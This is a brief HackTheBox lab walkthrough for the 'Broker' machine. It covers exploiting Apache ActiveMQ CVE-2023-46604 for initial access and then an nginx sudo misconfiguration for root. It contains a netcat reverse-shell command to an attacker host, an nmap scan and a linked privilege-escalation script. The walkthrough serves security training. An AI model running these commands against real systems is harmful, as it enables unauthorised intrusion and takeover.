Broker writeup & walkthrough

Broker is an easy HackTheBox Linux machine exploiting an Apache ActiveMQ RCE (CVE-2023-46604) for initial access, then escalating via a Nginx sudo misconfiguration.

HackTheBox - Broker

Access Path

no access => activemq => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---

Initial Foothold

Enumeration:

# Enumerate port 80
nmap -sV -sC -p 80 $IP

Exploit: ActiveMQ RCE - CVE-2023-46604

• Payload: https://github.com/strikoder/CVE-2023-46604-ActiveMQ-RCE-Python

# Exploit CVE-2023-46604
python exploit.py -t $IP -p [port] -c 'nc -e /bin/bash [attacker_ip] [port]'

Priv Esc

Exploit: Nginx sudo privilege escalation

• Reference: https://github.com/strikoder/oscp-toolkit/blob/main/CVES/nginx_sudo_privesc.sh

# Check sudo permissions
sudo -l

# Run nginx privesc exploit
bash nginx_sudo_privesc.sh